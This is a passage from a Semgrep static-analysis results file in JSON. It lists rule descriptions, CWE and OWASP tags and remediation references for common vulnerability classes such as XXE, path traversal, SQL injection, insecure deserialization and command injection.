Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value."},"help":{"markdown":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-redirect-to.check-redirect-to)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","id":"ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","name":"ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-redirect-to.check-redirect-to"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","id":"python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","name":"python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"help":{"markdown":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"helpUri":"https://semgrep.dev/r/go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","id":"go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","name":"go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","id":"java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","name":"java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected possible formatted SQL query. Use parameterized queries instead."},"help":{"markdown":"Detected possible formatted SQL query. Use parameterized queries instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.formatted-sql-query.formatted-sql-query)\n - [https://stackoverflow.com/questions/775296/mysql-parameterized-queries](https://stackoverflow.com/questions/775296/mysql-parameterized-queries)\n","text":"Detected possible formatted SQL query. Use parameterized queries instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.formatted-sql-query.formatted-sql-query","id":"python.lang.security.audit.formatted-sql-query.formatted-sql-query","name":"python.lang.security.audit.formatted-sql-query.formatted-sql-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.formatted-sql-query.formatted-sql-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`."},"help":{"markdown":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","id":"terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","name":"terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.use-of-sha1.use-of-sha1)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.use-of-sha1.use-of-sha1","id":"clojure.lang.security.use-of-sha1.use-of-sha1","name":"clojure.lang.security.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file."},"help":{"markdown":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.world-writable-file.world-writable-file)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions](https://wiki.sei.cmu.edu/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions)\n","text":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.world-writable-file.world-writable-file","id":"cpp.lang.security.filesystem.world-writable-file.world-writable-file","name":"cpp.lang.security.filesystem.world-writable-file.world-writable-file","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.world-writable-file.world-writable-file"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design."},"help":{"markdown":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec)\n - [https://developer.hashicorp.com/terraform/language/resources/provisioners/remote-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/remote-exec)\n - [https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec)\n","text":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","id":"terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","name":"terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","properties":{"precision":"very-high","tags":["CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')","CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","id":"python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","name":"python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","id":"go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","name":"go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, 